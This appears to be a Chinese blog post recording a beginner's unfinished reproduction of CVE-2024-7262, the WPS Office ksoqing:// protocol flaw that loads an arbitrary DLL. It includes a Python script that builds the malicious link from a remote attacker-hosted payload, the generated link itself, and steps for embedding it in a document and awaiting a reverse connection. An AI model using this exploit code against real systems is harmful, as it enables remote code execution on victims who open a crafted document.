记录一次失败的漏洞复现

一、漏洞介绍

CVE-2024-7262漏洞

本节描述了 APT-C-60 利用的 bug,该 bug 允许通过劫持 WPS Office 插件组件的控制流来执行代码promecefpluginhost.exe。以及漏洞是如何被触发并武器化的。

安装 WPS Office for Windows 时,软件套件会注册一个名为 ksoqing 的自定义协议处理程序,每当用户单击以 URI 方案 ksoqing:// 开头的 URL 时,该处理程序都允许执行外部应用程序。在 Windows 操作系统中,自定义协议处理程序的注册是在注册表中完成的。在这种情况下,键 HKCR\ksoqing\shell\open\command 下的默认值指示 Windows 执行 C:\Users\<USER>\AppData\Local\Kingsoft\WPS Office\<VERSION>\office6\wps.exe 参数 /qingbangong “%1”,其中 %1 替换为完整 URL。为了说明这一点,下图 显示了当用户在 WPS 电子表格应用程序 (et.exe 中使用自定义协议 ksoqing 单击超链接时会发生什么情况).

 下图概述了 CVE-2024-7262 漏洞利用的控制流程。

 

启动后,wps.exe 会加载qingbangong.dll,该组件负责解析和验证超链接中的某些参数。漏洞利用文件中的恶意链接格式为

ksoqing://type=ksolaunch&cmd=<base64-encode dstring>&token=<MD5 hash>&launchname=promecefpluginhost.exe

。根据我们的分析和测试,这会导致使用攻击者提供的 base64 编码命令行启动系统上已经存在的应用程序(在本例中为 promecefpluginhost.exe)。

token 参数是 cmd 参数的编码值的 MD5 哈希值,与字符串 _qingLaunchKey_ 连接,后跟 launchname 参数的编码值。最后一个必须是位于

 C:\Users\<USER>\AppData\Local\Kingsoft\WPS Office\<VERSION>\office6\

下的可执行文件,并使用金山的有效证书签名。解码 cmd 参数后,我们发现命令行

 /qingbangong -CefParentID=1 -JSCefServicePath=<base64 编码的文件路径>

被传递给了 promecefpluginhost.exe。经过一些初始化后,将加载库ksojscore.dll并解码 JSCefServicePath 参数。结果是一个字符串,作为参数传递给Qt的QLibrary::load方法。此文件路径是攻击者定义的,这意味着攻击者可以通过加载任意 DLL 来实现代码执行。图 4 说明了攻击者控制的 JSCefServicePath 参数如何由 ksojscore.dll 处理.

(上图:参数 JSCefServicePath 被解码(左)并用作 QLibrary::load 方法(右)的参数

从本质上讲,可以滥用 ksoqing 方案协议并创建一个超链接,单击该超链接将从给定的远程文件路径加载库。APT-C-60 将漏洞武器化,执行其第一阶段木马下载器组件 (SHA-1: 08906644B0EF1EE6478C45A6E0DD28533A9EFC29).

二、漏洞复现

(一)、攻击方制作可用的.dll文件并开放下载

(初学,不清楚可能的隐私泄露位置,而且在公网下复现,所以码打得多,请见谅)

将.dll改为.jpg,确认不影响实际功能。

(二)、打开下载功能,保证靶机可以下载负载

(三)、生成恶意连接

代码为:

import hashlib
import base64

url="http:攻击机/负载"
md5_hash = hashlib.md5()
md5_hash.update(url.encode('utf-16le'))
md5_url=md5_hash.hexdigest().encode()
filepath=base64.b64encode(b'..\\..\\..\\..\\Temp\\wps\\INetCache\\'+md5_url+b'.').decode()
launchname=base64.b64encode(b'promecefpluginhost.exe').decode()
cmd=base64.b64encode(f'/qingbangong -CefParentID=1 -JSCefServicePath={filepath} '.encode()).decode()
data=f'{cmd}_qingLaunchKey_{launchname}'.encode()
md5_hash = hashlib.md5()
md5_hash.update(data)
token=md5_hash.hexdigest()
print(f'ksoqing://type=ksolaunch&cmd={cmd}&token={token}&launchname={launchname}&ext=dd/')

 生成链接:

ksoqing://type=ksolaunch&cmd=L3FpbmdiYW5nb25nIC1DZWZQYXJlbnRJRD0xIC1KU0NlZlNlcnZpY2VQYXRoPUxpNWNMaTVjTGk1Y0xpNWNWR1Z0Y0Z4M2NITmNTVTVsZEVOaFkyaGxYR001WXpFMFlUTXpZelF3WlRneU5UWXlNekkyTXpneVpUUm1OamcxTlRJMUxnPT0g&token=59a566364ea8697119f0ec8bb9fd41f0ec8bb9fd41f8&launchname=cHJvbWVjZWZwbHVnaW5ob3N0LmV4ZQ==&ext=dd/

将连接插入文档中的图片

 (注意office的警告,这个警告在用WPS(12.1.0.xxxx前的版本)打开文件时不存在)

(四)、打开回连端口监听

 卡在这里了...

 排查问题,找到了再更

三、参考

(一)、WPS Office 0-day漏洞 CVE-2024-7262复现及软件安全特性对比

https://www.freebuf.com/vuls/409949.html#:~:text=WPS%20Office

(二)、Analysis of two arbitrary code execution vulnerabilities affecting WPS Office

https://www.welivesecurity.com/en/eset-research/analysis-of-two-arbitrary-code-execution-vulnerabilities-affecting-wps-office/

(三)、两个影响 WPS Office 的任意代码执行漏洞分析,CVE-2024-7262 和 CVE-2024-7263

https://www.cnblogs.com/xiaoyus/p/18418656#:~:text=%E4%BD%86%E6%98%AF%EF%BC%8C%E9%87%91%E5%B1%B1%E8%BD%AF%E4%BB%B6%E6%B2%A1%E6%9C%89%E8%A1%A8

(四)、South Korean Attackers Group Exploits WPS Office Vulnerability (CVE-2024-7262)

https://threatprotect.qualys.com/2024/09/03/south-korean-attackers-group-exploits-wps-office-vulnerability-cve-2024-7262/#:~:text=Security%20researchers%20have%20identified%20another%20critical%20vulnerability%20(CVE-2024-7263)%20in%20the

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值